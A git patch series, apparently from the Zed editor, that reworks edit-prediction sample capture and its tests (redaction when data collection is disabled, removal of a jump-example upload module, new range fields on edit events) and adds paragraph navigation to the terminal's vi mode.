+    let editable_offset_range = enqueue_sample_capture(
+        &ep_store,
+        &project,
+        &buffer,
+        "prediction-sample",
+        Point::new(2, 0)..Point::new(3, 0),
+        CapturedPredictionContext {
+            repository_url: Some("https://example.com/repo.git".to_string()),
+            revision: Some("abc123".to_string()),
+            uncommitted_diff: Some("--- a/foo.md\n+++ b/foo.md\n".to_string()),
+            buffer_diagnostics: vec![zeta_prompt::ActiveBufferDiagnostic {
+                severity: Some(1),
+                message: "sample diagnostic".to_string(),
+                snippet: String::new(),
+                snippet_buffer_row_range: 0..0,
+                diagnostic_range_in_snippet: 0..0,
+            }],
+        },
+        Some(boundary),
+        VecDeque::from([RecentFile {
+            path: Path::new("foo.md").into(),
+            cursor_position: Some(3),
+        }]),
+        cx,
+    )
+    .await;
+    let expected_next_edit_cursor_offset = editable_offset_range.start;
+
+    // A second capture whose user has data collection disabled; its sample
+    // and settled region must be redacted at send time.
+    let boundary = ep_store.update(cx, |ep_store, _cx| {
+        let project_state = ep_store.projects.get(&project.entity_id()).unwrap();
+        PromptHistoryBoundary {
+            first_event_seq: project_state
+                .last_event
+                .as_ref()
+                .map_or(project_state.next_last_event_seq, |last_event| {
+                    last_event.seq
+                }),
+            snapshot: project_state
+                .last_event
+                .as_ref()
+                .map(|last_event| last_event.new_snapshot.clone()),
+        }
+    });
+    enqueue_sample_capture(
+        &ep_store,
+        &project,
+        &buffer,
+        "prediction-redacted",
+        Point::new(2, 0)..Point::new(3, 0),
+        CapturedPredictionContext {
+            repository_url: None,
+            revision: None,
+            uncommitted_diff: None,
+            buffer_diagnostics: Vec::new(),
+        },
+        Some(boundary),
+        VecDeque::new(),
+        cx,
+    )
+    .await;
+    ep_store.update(cx, |ep_store, _cx| {
+        ep_store
+            .projects
+            .get_mut(&project.entity_id())
+            .unwrap()
+            .pending_prediction_captures
+            .last_mut()
+            .unwrap()
+            .can_collect_data = false;
+    });
+
+    cx.executor().advance_clock(LAST_CHANGE_GROUPING_TIME * 2);
     cx.run_until_parked();
+
+    for (ix, row) in [2, 20, 30, 40, 50].into_iter().enumerate() {
+        buffer.update(cx, |buffer, cx| {
+            let start = Point::new(row, 0).to_offset(buffer);
+            let end = Point::new(row, 4).to_offset(buffer);
+            buffer.edit(vec![(start..end, format!("future {ix}"))], None, cx);
+        });
+        cx.run_until_parked();
+    }
+
+    cx.executor()
+        .advance_clock(EDIT_PREDICTION_SETTLED_QUIESCENCE);
+    cx.run_until_parked();
+
+    let mut settled_by_id = std::collections::HashMap::new();
+    for _ in 0..2 {
+        let request = requests
+            .settled
+            .next()
+            .await
+            .expect("settled request should be sent");
+        settled_by_id.insert(request.request_id.clone(), request);
+    }
+
+    let redacted_request = settled_by_id.remove("prediction-redacted").unwrap();
+    assert!(!redacted_request.can_collect_data);
+    assert_eq!(redacted_request.settled_editable_region, None);
+    assert_eq!(redacted_request.sample_data, None);
+
+    let settled_request = settled_by_id.remove("prediction-sample").unwrap();
+    let sample_data = settled_request
+        .sample_data
+        .expect("sample data should be sent after quiescence");
+    assert_eq!(
+        sample_data.repository_url.as_deref(),
+        Some("https://example.com/repo.git")
+    );
+    assert_eq!(sample_data.revision.as_deref(), Some("abc123"));
+    assert_eq!(
+        sample_data.uncommitted_diff.as_deref(),
+        Some("--- a/foo.md\n+++ b/foo.md\n")
+    );
+    assert_eq!(sample_data.editable_path.as_ref(), Path::new("foo.md"));
+    assert_eq!(sample_data.editable_offset_range, editable_offset_range);
+    assert_eq!(sample_data.buffer_diagnostics.len(), 1);
+    assert_eq!(sample_data.future_edit_history_events.len(), 4);
+    assert_eq!(sample_data.navigation_history.len(), 1);
+    assert_eq!(sample_data.edit_events_before_quiescence, 5);
+    assert_eq!(
+        sample_data.next_edit_cursor_offset,
+        Some(expected_next_edit_cursor_offset)
+    );
+
+    let future_event_diffs = sample_data
+        .future_edit_history_events
+        .iter()
+        .map(|event| match event.as_ref() {
+            zeta_prompt::Event::BufferChange { diff, .. } => diff.as_str(),
+        })
+        .collect::<Vec<_>>();
+    assert!(future_event_diffs.iter().all(|diff| {
+        diff.lines()
+            .all(|line| !line.starts_with("+prompted ") && line != "-line 1")
+    }));
+    assert!(
+        future_event_diffs
+            .iter()
+            .any(|diff| diff.contains("future 0"))
+    );
+    assert!(
+        !future_event_diffs
+            .iter()
+            .any(|diff| diff.contains("future 4"))
+    );
+}
+
+#[gpui::test]
+async fn test_edit_prediction_settled_sample_data_requires_observing_all_events_since_request(
+    cx: &mut TestAppContext,
+) {
+    let (ep_store, mut requests, project, buffer) = init_sample_capture_test(
+        json!({
+            "LICENSE": MIT_LICENSE,
+            "foo.md": (0..30).map(|ix| format!("line {ix}\n")).collect::<String>(),
+        }),
+        cx,
+    )
+    .await;
+
+    // Two predictions are requested while no event is pending.
+    let (boundary_observed, boundary_missed) = ep_store.update(cx, |ep_store, _cx| {
+        let project_state = ep_store.projects.get(&project.entity_id()).unwrap();
+        let first_event_seq = project_state
+            .last_event
+            .as_ref()
+            .map_or(project_state.next_last_event_seq, |last_event| {
+                last_event.seq
+            });
+        let snapshot = project_state
+            .last_event
+            .as_ref()
+            .map(|last_event| last_event.new_snapshot.clone());
+        (
+            PromptHistoryBoundary {
+                first_event_seq,
+                snapshot: snapshot.clone(),
+            },
+            PromptHistoryBoundary {
+                first_event_seq,
+                snapshot,
+            },
+        )
+    });
+    assert!(boundary_observed.snapshot.is_none());
+
+    // The first capture is enqueued immediately, so it observes both
+    // subsequent events.
+    enqueue_sample_capture(
+        &ep_store,
+        &project,
+        &buffer,
+        "prediction-observed",
+        Point::new(1, 0)..Point::new(2, 0),
+        CapturedPredictionContext {
+            repository_url: None,
+            revision: None,
+            uncommitted_diff: None,
+            buffer_diagnostics: Vec::new(),
+        },
+        Some(boundary_observed),
+        VecDeque::new(),
+        cx,
+    )
+    .await;
+
+    buffer.update(cx, |buffer, cx| {
+        let offset = Point::new(1, 0).to_offset(buffer);
+        buffer.edit(vec![(offset..offset, "first ")], None, cx);
+    });
+    cx.run_until_parked();
+    buffer.update(cx, |buffer, cx| {
+        let offset = Point::new(20, 0).to_offset(buffer);
+        buffer.edit(vec![(offset..offset, "second ")], None, cx);
+    });
+    cx.run_until_parked();
+
+    // The second capture is enqueued only after the first event was
+    // finalized, so its future history has a gap and it must be dropped.
+    enqueue_sample_capture(
+        &ep_store,
+        &project,
+        &buffer,
+        "prediction-missed",
+        Point::new(1, 0)..Point::new(2, 0),
+        CapturedPredictionContext {
+            repository_url: None,
+            revision: None,
+            uncommitted_diff: None,
+            buffer_diagnostics: Vec::new(),
+        },
+        Some(boundary_missed),
+        VecDeque::new(),
+        cx,
+    )
+    .await;
+
+    cx.executor()
+        .advance_clock(EDIT_PREDICTION_SETTLED_QUIESCENCE);
+    cx.run_until_parked();
+
+    let mut settled_by_id = std::collections::HashMap::new();
+    for _ in 0..2 {
+        let request = requests
+            .settled
+            .next()
+            .await
+            .expect("settled request should be sent");
+        settled_by_id.insert(request.request_id.clone(), request);
+    }
+
+    let observed_request = settled_by_id.remove("prediction-observed").unwrap();
+    let sample_data = observed_request
+        .sample_data
+        .expect("sample data should be sent");
+    assert_eq!(sample_data.edit_events_before_quiescence, 2);
+    assert_eq!(sample_data.future_edit_history_events.len(), 2);
+
+    let missed_request = settled_by_id.remove("prediction-missed").unwrap();
+    assert_eq!(missed_request.sample_data, None);
+}
+
+#[gpui::test]
+async fn test_edit_prediction_settled_drops_future_events_when_their_oss_status_is_unknown(
+    cx: &mut TestAppContext,
+) {
+    let (ep_store, mut requests, project, buffer) = init_sample_capture_test(
+        json!({ "foo.md": (0..30).map(|ix| format!("line {ix}\n")).collect::<String>() }),
+        cx,
+    )
+    .await;
+
+    enqueue_sample_capture(
+        &ep_store,
+        &project,
+        &buffer,
+        "prediction-non-oss",
+        Point::new(1, 0)..Point::new(2, 0),
+        CapturedPredictionContext {
+            repository_url: None,
+            revision: None,
+            uncommitted_diff: None,
+            buffer_diagnostics: Vec::new(),
+        },
+        None,
+        VecDeque::new(),
+        cx,
+    )
+    .await;
+
+    // There is no LICENSE file, so this event's open-source status is unknown
+    // and the sample must be dropped.
+    buffer.update(cx, |buffer, cx| {
+        let offset = Point::new(20, 0).to_offset(buffer);
+        buffer.edit(vec![(offset..offset, "outside ")], None, cx);
+    });
+    cx.run_until_parked();
+
     cx.executor()
         .advance_clock(EDIT_PREDICTION_SETTLED_QUIESCENCE);
     cx.run_until_parked();
@@ -4025,9 +4410,7 @@ async fn test_edit_prediction_settled_omits_body_when_data_collection_is_disable
         .next()
         .await
         .expect("settled request should be sent");
-    assert!(!settled_request.can_collect_data);
-    assert_eq!(settled_request.settled_editable_region, None);
-    assert_eq!(settled_request.example, None);
+    assert_eq!(settled_request.sample_data, None);
 }
 
 #[gpui::test]
diff --git a/crates/edit_prediction/src/jump_example.rs b/crates/edit_prediction/src/jump_example.rs
deleted file mode 100644
index 33991df9c319a9..00000000000000
--- a/crates/edit_prediction/src/jump_example.rs
+++ /dev/null
@@ -1,372 +0,0 @@
-use std::{
-    ops::Range,
-    sync::Arc,
-    time::{Duration, Instant},
-};
-
-use anyhow::{Context as _, Result};
-pub use cloud_api_types::JumpExampleTrigger;
-use cloud_api_types::{
-    JumpExampleRecentFile, SubmitEditPredictionJumpExampleBody,
-    SubmitEditPredictionJumpExampleResponse,
-};
-use futures::future::Shared;
-use gpui::{AppContext as _, AsyncApp, Context, Entity, Task, TaskExt as _, WeakEntity};
-use language::{BufferSnapshot, File, Point};
-use project::{Project, WorktreeId};
-use release_channel::AppVersion;
-
-use text::ToPoint as _;
-use util::rel_path::RelPath;
-
-use crate::{
-    EditPredictionStore, ProjectState, StoredEvent,
-    data_collection::{
-        UncommittedDiffResult, compute_cursor_excerpt, compute_uncommitted_diff,
-        estimate_uncommitted_diff_byte_size, format_cursor_excerpt,
-    },
-    example_spec::RecentFile,
-    zeta,
-};
-
-pub const JUMP_EXAMPLE_MAX_PENDING_CAPTURE_COUNT: usize = 10;
-pub const JUMP_EXAMPLE_FUTURE_EVENT_COUNT: usize = 2;
-pub const JUMP_EXAMPLE_TTL: Duration = Duration::from_secs(60 * 2);
-pub const JUMP_EXAMPLE_NAVIGATION_COUNT: usize = 20;
-pub const JUMP_EXAMPLE_MAX_UNCOMMITTED_DIFF_SIZE: usize = 64 * 1024;
-
-pub struct PendingJumpExampleCapture {
-    key: PendingJumpExampleCaptureKey,
-    trigger: JumpExampleTrigger,
-    file: Arc<dyn File>,
-    edit_history: Vec<Arc<zeta_prompt::Event>>,
-    recently_opened_files: Vec<RecentFile>,
-    recently_viewed_files: Vec<RecentFile>,
-    worktree_root_name: String,
-    cursor_position: String,
-    started_at: Instant,
-    uncommitted_diff: Option<String>,
-    pub future_events: Vec<Arc<zeta_prompt::Event>>,
-    pub navigation_history: Vec<RecentFile>,
-    diagnostics: Vec<zeta_prompt::ActiveBufferDiagnostic>,
-    repository_url: Option<String>,
-    revision: Option<String>,
-    can_collect_data: bool,
-    is_in_open_source_repo: bool,
-}
-
-#[derive(Eq, PartialEq, Hash, Clone)]
-pub struct PendingJumpExampleCaptureKey {
-    worktree_id: WorktreeId,
-    file_path: Arc<RelPath>,
-    row_bucket: u32,
-}
-
-pub fn try_start_jump_example_capture(
-    project_state: &ProjectState,
-    uncommitted_diffs: Shared<Task<UncommittedDiffResult>>,
-    project: Entity<Project>,
-    snapshot: BufferSnapshot,
-    position: language::Anchor,
-    trigger: JumpExampleTrigger,
-    stored_events: Vec<StoredEvent>,
-    diagnostic_search_range: Range<Point>,
-    can_collect_data: bool,
-    is_in_open_source_repo: bool,
-    cx: &mut Context<EditPredictionStore>,
-) {
-    let Some(file) = snapshot.file().cloned() else {
-        return;
-    };
-
-    let example_key = PendingJumpExampleCaptureKey {
-        worktree_id: file.worktree_id(cx),
-        file_path: file.path().clone(),
-        row_bucket: position.to_point(&snapshot).row / 10,
-    };
-    let should_capture_example = project_state.pending_jump_example_captures.len()
-        < JUMP_EXAMPLE_MAX_PENDING_CAPTURE_COUNT
-        && !project_state
-            .starting_jump_example_captures
-            .contains(&example_key)
-        && !project_state
-            .pending_jump_example_captures
-            .iter()
-            .any(|capture| &capture.key == &example_key);
-
-    if !should_capture_example {
-        return;
-    }
-
-    let _project = project.clone();
-    let _example_key = example_key.clone();
-    let task = cx.spawn(async move |ep_store, cx| {
-        let project = _project;
-        let example_key = _example_key;
-        let Some(ep_store) = ep_store.upgrade() else {
-            return anyhow::Ok(());
-        };
-        ep_store.update(cx, |ep_store, cx| {
-            let project_state = ep_store.get_or_init_project(&project, cx);
-            project_state
-                .starting_jump_example_captures
-                .push(example_key.clone());
-        });
-
-        let (repository, worktree) = project.read_with(cx, |project, cx| {
-            let repository = project.active_repository(cx);
-            let worktree_id = file.worktree_id(cx);
-            let worktree = project.worktree_for_id(worktree_id, cx);
-            (repository, worktree)
-        });
-        let Some(worktree) = worktree else {
-            return Ok(());
-        };
-
-        let diagnostics = zeta::active_buffer_diagnostics(
-            &snapshot,
-            diagnostic_search_range.clone(),
-            position.to_point(&snapshot).row,
-            100,
-        );
-
-        let uncommitted_diff = 'uncommitted_diff: {
-            if repository.is_none() {
-                break 'uncommitted_diff None;
-            }
-            let uncommitted_diff_snapshot = uncommitted_diffs
-                .await
-                .map_err(|error| anyhow::anyhow!("{error:?}"))
-                .context("failed to capture uncommitted diff")?;
-            let estimated_byte_size =
-                estimate_uncommitted_diff_byte_size(&uncommitted_diff_snapshot);
-            if estimated_byte_size > JUMP_EXAMPLE_MAX_UNCOMMITTED_DIFF_SIZE {
-                break 'uncommitted_diff None;
-            }
-
-            let uncommitted_diff = cx
-                .background_executor()
-                .spawn(async move { compute_uncommitted_diff(uncommitted_diff_snapshot) })
-                .await;
-            if uncommitted_diff.len() > JUMP_EXAMPLE_MAX_UNCOMMITTED_DIFF_SIZE {
-                break 'uncommitted_diff None;
-            }
-            Some(uncommitted_diff)
-        };
-
-        let edit_history = stored_events
-            .iter()
-            .map(|e| e.event.clone())
-            .collect::<Vec<_>>();
-        let (repository_url, revision) = if let Some(repository) = &repository {
-            repository.read_with(cx, |repository, _| {
-                let snapshot = repository.snapshot();
-                (
-                    snapshot
-                        .remote_origin_url
-                        .clone()
-                        .or_else(|| snapshot.remote_upstream_url.clone()),
-                    snapshot
-                        .head_commit
-                        .as_ref()
-                        .map(|commit| commit.sha.to_string()),
-                )
-            })
-        } else {
-            (None, None)
-        };
-        let line_comment_prefix = snapshot
-            .language()
-            .and_then(|language| language.config().line_comments.first())
-            .map(|prefix| prefix.to_string())
-            .unwrap_or_default();
-        let (cursor_excerpt, cursor_offset_in_excerpt, _) = cx
-            .background_executor()
-            .spawn(async move { compute_cursor_excerpt(&snapshot, position) })
-            .await;
-        let cursor_position = format_cursor_excerpt(
-            &cursor_excerpt,
-            cursor_offset_in_excerpt,
-            &line_comment_prefix,
-        );
-        let now = cx.background_executor().now();
-        ep_store.update(cx, |ep_store, cx| {
-            let recently_opened_files = ep_store.recently_opened_files_for_project(&project);
-            let recently_viewed_files = ep_store.recently_viewed_files_for_project(&project);
-            let project_state = ep_store.get_or_init_project(&project, cx);
-            project_state
-                .pending_jump_example_captures
-                .push(PendingJumpExampleCapture {
-                    key: example_key,
-                    trigger,
-                    file,
-                    uncommitted_diff,
-                    edit_history,
-                    recently_opened_files,
-                    recently_viewed_files,
-                    repository_url,
-                    revision,
-                    diagnostics,
-                    worktree_root_name: worktree.read(cx).root_name_str().to_owned(),
-                    cursor_position,
-                    started_at: now,
-                    future_events: Vec::new(),
-                    navigation_history: Vec::new(),
-                    is_in_open_source_repo,
-                    can_collect_data,
-                });
-            drain_completed_jump_example_captures(project_state, cx);
-        });
-        Ok(())
-    });
-    cx.spawn(async move |ep_store, cx| {
-        let result = task.await;
-        ep_store
-            .update(cx, |ep_store, cx| {
-                ep_store
-                    .get_or_init_project(&project, cx)
-                    .starting_jump_example_captures
-                    .retain(|key| key != &example_key);
-            })
-            .ok();
-        result
-    })
-    .detach_and_log_err(cx);
-}
-
-pub fn drain_completed_jump_example_captures(
-    project_state: &mut ProjectState,
-    cx: &mut Context<EditPredictionStore>,
-) {
-    let now = cx.background_executor().now();
-
-    let mut capture_index = 0;
-    while capture_index < project_state.pending_jump_example_captures.len() {
-        let capture = &project_state.pending_jump_example_captures[capture_index];
-        let finished = capture.future_events.len() >= JUMP_EXAMPLE_FUTURE_EVENT_COUNT
-            || now.saturating_duration_since(capture.started_at) >= JUMP_EXAMPLE_TTL;
-        if !finished {
-            capture_index += 1;
-            continue;
-        }
-
-        let capture = project_state
-            .pending_jump_example_captures
-            .remove(capture_index);
-        cx.spawn(async move |this, cx| {
-            let result = submit_jump_example_capture_task(this, capture, cx).await;
-            if let Err(error) = result {
-                log::error!("failed to submit jump opportunity capture: {error:?}");
-            }
-        })
-        .detach();
-    }
-}
-
-fn submit_jump_example_capture_task(
-    this: WeakEntity<EditPredictionStore>,
-    capture: PendingJumpExampleCapture,
-    cx: &mut AsyncApp,
-) -> Task<Result<()>> {
-    let Some((organization_id, client, llm_token, app_version)) = this
-        .update(cx, |this, cx| {
-            (
-                this.user_store
-                    .read(cx)
-                    .current_organization()
-                    .map(|organization| organization.id.clone()),
-                this.client.clone(),
-                this.llm_token.clone(),
-                AppVersion::global(cx),
-            )
-        })
-        .ok()
-    else {
-        return Task::ready(Ok(()));
-    };
-    cx.background_spawn(async move {
-        let PendingJumpExampleCapture {
-            key: _,
-            trigger,
-            file,
-            edit_history,
-            recently_opened_files,
-            recently_viewed_files,
-            worktree_root_name,
-            cursor_position,
-            started_at: _,
-            uncommitted_diff,
-            future_events,
-            navigation_history,
-            diagnostics,
-            repository_url,
-            revision,
-            is_in_open_source_repo,
-            can_collect_data,
-        } = capture;
-        let future_edit_history = render_jump_example_events(&future_events, &worktree_root_name);
-
-        let cursor_path = file.path().as_std_path().into();
-        let example = SubmitEditPredictionJumpExampleBody {
-            request_id: uuid::Uuid::new_v4(),
-            trigger,
-            repository_url,
-            revision,
-            uncommitted_diff,
-            recently_opened_files: jump_example_recent_files(recently_opened_files),
-            recently_viewed_files: jump_example_recent_files(recently_viewed_files),
-            cursor_path,
-            cursor_position,
-            edit_history,
-            diagnostics,
-            future_edit_history,
-            navigation_history: jump_example_recent_files(navigation_history),
-            is_in_open_source_repo,
-            can_collect_data,
-        };
-        let json_bytes = serde_json::to_vec(&example)?;
-        let compressed = zstd::encode_all(&json_bytes[..], 3)?;
-        let url = client
-            .http_client()
-            .build_zed_llm_url("/predict_edits/jump_example", &[])?;
-        EditPredictionStore::send_api_request::<SubmitEditPredictionJumpExampleResponse>(
-            |builder| {
-                Ok(builder
-                    .uri(url.as_ref())
-                    .header("Content-Encoding", "zstd")
-                    .body(compressed.clone().into())?)
-            },
-            client,
-            llm_token,
-            organization_id,
-            app_version,
-        )
-        .await?;
-        Ok(())
-    })
-}
-
-fn jump_example_recent_files(files: Vec<RecentFile>) -> Vec<JumpExampleRecentFile> {
-    files
-        .into_iter()
-        .map(|file| JumpExampleRecentFile {
-            path: file.path,
-            cursor_position: file.cursor_position,
-        })
-        .collect()
-}
-
-fn render_jump_example_events(events: &[Arc<zeta_prompt::Event>], root_name: &str) -> String {
-    let mut edit_history = String::new();
-    for event in events {
-        crate::capture_example::write_event_with_relative_paths(
-            &mut edit_history,
-            event,
-            root_name,
-        );
-        if !edit_history.ends_with('\n') {
-            edit_history.push('\n');
-        }
-    }
-    edit_history
-}
diff --git a/crates/edit_prediction/src/zeta.rs b/crates/edit_prediction/src/zeta.rs
index 2631d0fd229bcc..8b388ef1809763 100644
--- a/crates/edit_prediction/src/zeta.rs
+++ b/crates/edit_prediction/src/zeta.rs
@@ -1,15 +1,15 @@
 use crate::{
     CloudRequestTimeoutError, CurrentEditPrediction, DebugEvent, EditPredictionFinishedDebugEvent,
     EditPredictionId, EditPredictionModelInput, EditPredictionStartedDebugEvent,
-    EditPredictionStore, ZedUpdateRequiredError, buffer_path_with_id_fallback,
+    EditPredictionStore, PromptHistoryBoundary, ZedUpdateRequiredError,
+    buffer_path_with_id_fallback,
+    capture_prediction_context::CapturedPredictionContext,
     cursor_excerpt::{self, compute_cursor_excerpt, compute_syntax_ranges},
-    data_collection::UncommittedDiffResult,
     prediction::EditPredictionResult,
 };
-use anyhow::{Context as _, Result};
+use anyhow::Result;
 use cloud_llm_client::{AcceptEditPredictionBody, predict_edits_v3::RawCompletionRequest};
 use edit_prediction_types::PredictedCursorPosition;
-use futures::future::Shared;
 use gpui::{App, AppContext as _, Entity, Task, TaskExt, WeakEntity, prelude::*};
 use language::{
     Buffer, BufferSnapshot, DiagnosticSeverity, EditPredictionPromptFormat, OffsetRangeExt as _,
@@ -33,7 +33,7 @@ use crate::open_ai_compatible::{
     load_open_ai_compatible_api_key_if_needed, send_custom_server_request,
 };
 
-pub fn request_prediction_with_zeta(
+pub(crate) fn request_prediction_with_zeta(
     store: &mut EditPredictionStore,
     EditPredictionModelInput {
         buffer,
@@ -41,7 +41,6 @@ pub fn request_prediction_with_zeta(
         position,
         related_files,
         events,
-        stored_events,
         debug_tx,
         mode,
         trigger,
@@ -51,7 +50,8 @@ pub fn request_prediction_with_zeta(
         is_open_source,
         ..
     }: EditPredictionModelInput,
-    capture_data: Option<Shared<Task<UncommittedDiffResult>>>,
+    context_task: Option<Task<Result<CapturedPredictionContext>>>,
+    prompt_history_boundary: Option<PromptHistoryBoundary>,
     repo_url: Option<String>,
     cx: &mut Context<EditPredictionStore>,
 ) -> Task<Result<Option<EditPredictionResult>>> {
@@ -413,49 +413,7 @@ pub fn request_prediction_with_zeta(
             let editable_range_in_buffer = editable_range_in_buffer.clone();
             let edit_preview = prediction.edit_preview.clone();
             let model_version = prediction.model_version.clone();
-            let example_task = capture_data.and_then(|uncommitted_diffs| {
-                let (recently_opened_files, recently_viewed_files) = this
-                    .read_with(cx, |this, _| {
-                        (
-                            this.recently_opened_files_for_project(&project),
-                            this.recently_viewed_files_for_project(&project),
-                        )
-                    })
-                    .ok()?;
-                Some(cx.spawn({
-                    let project = project.clone();
-                    let edited_buffer = edited_buffer.clone();
-                    async move |cx| {
-                        let uncommitted_diffs = uncommitted_diffs
-                            .await
-                            .map_err(|error| anyhow::anyhow!("{error:?}"))
-                            .context("failed to capture uncommitted diff")?;
-                        let Some(task) = cx.update(|cx| {
-                            crate::capture_example::capture_example(
-                                project.clone(),
-                                edited_buffer.clone(),
-                                position,
-                                stored_events,
-                                recently_opened_files,
-                                recently_viewed_files,
-                                uncommitted_diffs,
-                                false,
-                                cx,
-                            )
-                        }) else {
-                            return Err(anyhow::anyhow!("failed to capture example"));
-                        };
-                        task.await
-                    }
-                }))
-            });
             cx.spawn(async move |cx| {
-                let example_spec = if let Some(task) = example_task {
-                    task.await.ok()
-                } else {
-                    None
-                };
-
                 weak_this
                     .update(cx, |this, cx| {
                         this.enqueue_settled_prediction(
@@ -465,7 +423,8 @@ pub fn request_prediction_with_zeta(
                             &edited_buffer_snapshot,
                             editable_range_in_buffer,
                             &edit_preview,
-                            example_spec,
+                            context_task,
+                            prompt_history_boundary,
                             model_version,
                             request_duration,
                             cx,
@@ -549,8 +508,8 @@ fn handle_api_response<T>(
 
 const ACTIVE_BUFFER_DIAGNOSTIC_ADDITIONAL_CONTEXT_TOKEN_COUNT: usize = 100;
 const MAX_ACTIVE_BUFFER_DIAGNOSTICS_TO_COLLECT: usize = 20;
-const MAX_ACTIVE_BUFFER_DIAGNOSTIC_MESSAGE_TOKENS_TO_COLLECT: usize = 512;
-const MAX_ACTIVE_BUFFER_DIAGNOSTIC_SNIPPET_TOKENS_TO_COLLECT: usize = 512;
+pub(crate) const MAX_ACTIVE_BUFFER_DIAGNOSTIC_MESSAGE_TOKENS_TO_COLLECT: usize = 512;
+pub(crate) const MAX_ACTIVE_BUFFER_DIAGNOSTIC_SNIPPET_TOKENS_TO_COLLECT: usize = 512;
 
 pub(crate) fn active_buffer_diagnostics(
     snapshot: &language::BufferSnapshot,
diff --git a/crates/edit_prediction_cli/src/qa.rs b/crates/edit_prediction_cli/src/qa.rs
index 81a2a77b27c19e..d47c8b0526f127 100644
--- a/crates/edit_prediction_cli/src/qa.rs
+++ b/crates/edit_prediction_cli/src/qa.rs
@@ -87,8 +87,7 @@ pub fn build_prompt(example: &Example) -> Result<String> {
             path,
             old_path,
             diff,
-            predicted: _,
-            in_open_source_repo: _,
+            ..
         } = event.as_ref();
         edit_history.push_str(&format!("--- a{}\n", old_path.display()));
         edit_history.push_str(&format!("+++ b{}\n", path.display()));
diff --git a/crates/edit_prediction_metrics/src/reversal.rs b/crates/edit_prediction_metrics/src/reversal.rs
index fb84f57aa4e0d9..05b82f0c9cc1c4 100644
--- a/crates/edit_prediction_metrics/src/reversal.rs
+++ b/crates/edit_prediction_metrics/src/reversal.rs
@@ -1181,6 +1181,8 @@ mod tests {
                      -old
                      +new"}
                 .into(),
+                old_range: 0..1,
+                new_range: 0..1,
                 predicted: false,
                 in_open_source_repo: true,
             }),
@@ -1192,6 +1194,8 @@ mod tests {
                      -a
                      +b"}
                 .into(),
+                old_range: 0..1,
+                new_range: 0..1,
                 predicted: false,
                 in_open_source_repo: true,
             }),
@@ -1203,6 +1207,8 @@ mod tests {
                      -x
                      +y"}
                 .into(),
+                old_range: 0..1,
+                new_range: 0..1,
                 predicted: false,
                 in_open_source_repo: true,
             }),
@@ -1931,6 +1937,8 @@ mod tests {
                       line2
                  "}
                 .into(),
+                old_range: 0..1,
+                new_range: 0..1,
                 predicted: false,
                 in_open_source_repo: false,
             })],
@@ -1969,6 +1977,8 @@ mod tests {
                       line11
                  "}
                 .into(),
+                old_range: 0..1,
+                new_range: 0..1,
                 predicted: false,
                 in_open_source_repo: false,
             })],
@@ -2029,6 +2039,8 @@ mod tests {
                       line2
                  "}
                 .into(),
+                old_range: 0..1,
+                new_range: 0..1,
                 predicted: false,
                 in_open_source_repo: false,
             })],
@@ -2066,6 +2078,8 @@ mod tests {
                       more_wrong
                  "}
                 .into(),
+                old_range: 0..1,
+                new_range: 0..1,
                 predicted: false,
                 in_open_source_repo: false,
             })],
@@ -2134,6 +2148,8 @@ mod tests {
                           line2
                      "}
                     .into(),
+                    old_range: 0..1,
+                    new_range: 0..1,
                     predicted: false,
                     in_open_source_repo: false,
                 }),
@@ -2147,6 +2163,8 @@ mod tests {
                           line2
                      "}
                     .into(),
+                    old_range: 0..1,
+                    new_range: 0..1,
                     predicted: false,
                     in_open_source_repo: false,
                 }),
diff --git a/crates/zeta_prompt/src/zeta_prompt.rs b/crates/zeta_prompt/src/zeta_prompt.rs
index 026722e4bf7507..b610e193c728f9 100644
--- a/crates/zeta_prompt/src/zeta_prompt.rs
+++ b/crates/zeta_prompt/src/zeta_prompt.rs
@@ -167,6 +167,10 @@ impl ZetaFormat {
     }
 }
 
+fn empty_range() -> Range<usize> {
+    0..0
+}
+
 #[derive(Clone, Debug, PartialEq, Hash, Serialize, Deserialize)]
 #[serde(tag = "event")]
 pub enum Event {
@@ -174,6 +178,10 @@ pub enum Event {
         path: Arc<Path>,
         old_path: Arc<Path>,
         diff: String,
+        #[serde(default = "empty_range")]
+        old_range: Range<usize>,
+        #[serde(default = "empty_range")]
+        new_range: Range<usize>,
         predicted: bool,
         in_open_source_repo: bool,
     },
@@ -203,7 +211,7 @@ pub fn write_event(prompt: &mut String, event: &Event) {
             old_path,
             diff,
             predicted,
-            in_open_source_repo: _,
+            ..
         } => {
             if *predicted {
                 prompt.push_str("// User accepted prediction:\n");
@@ -5071,6 +5079,8 @@ mod tests {
             path: Path::new(path).into(),
             old_path: Path::new(path).into(),
             diff: diff.to_string(),
+            old_range: 0..diff.len(),
+            new_range: 0..diff.len(),
             predicted: false,
             in_open_source_repo: false,
         }

From 7e4caf003cad710c0fe5fbf99f70af5a3965c764 Mon Sep 17 00:00:00 2001
From: Aleksei Gusev <aleksei.gusev@gmail.com>
Date: Mon, 22 Jun 2026 19:47:34 +0300
Subject: [PATCH 037/772] Add paragraph-based navigation to terminal's vi mode
 (#56038)

Alacritty has default keyboard shortcuts to navigate between paragraphs
in vi mode:

- shift-{: `ParagraphUp`
- shift-}: `ParagraphDown`

This change unlocks them to use in Zed's terminal. The keybindings can
be easily overridden via keymap.yml like that:

```yaml
{
    "context": "Terminal && vi_mode",
    "bindings": {
        "ctrl-up": ["terminal::SendKeystroke", "shift-{"],
        "ctrl-down": ["terminal::SendKeystroke", "shift-}"],
    }
}
```

Release Notes:

- Added support for navigating up or down paragraphs in the terminal,
when vim vi mode is enabled, with `shift-{` and `shift-}`, respectively.

---------

Co-authored-by: dino <dinojoaocosta@gmail.com>
---
 crates/terminal/src/alacritty.rs | 2 ++
 crates/terminal/src/terminal.rs  | 4 ++++
 2 files changed, 6 insertions(+)

diff --git a/crates/terminal/src/alacritty.rs b/crates/terminal/src/alacritty.rs
index b37deb6ace8d01..99b6eadf2fddd7 100644
--- a/crates/terminal/src/alacritty.rs
+++ b/crates/terminal/src/alacritty.rs
@@ -355,6 +355,8 @@ impl ViMotion {
             Self::WordRight => AlacViMotion::WordRight,
             Self::WordRightEnd => AlacViMotion::WordRightEnd,
             Self::Bracket => AlacViMotion::Bracket,
+            Self::ParagraphUp => AlacViMotion::ParagraphUp,
+            Self::ParagraphDown => AlacViMotion::ParagraphDown,
         }
     }
 }
diff --git a/crates/terminal/src/terminal.rs b/crates/terminal/src/terminal.rs
index a6d87ca983c2b1..60c992555048c2 100644
--- a/crates/terminal/src/terminal.rs
+++ b/crates/terminal/src/terminal.rs
@@ -96,6 +96,8 @@ enum ViMotion {
     WordRight,
     WordRightEnd,
     Bracket,
+    ParagraphUp,
+    ParagraphDown,
 }
 
 #[derive(Clone, Debug)]
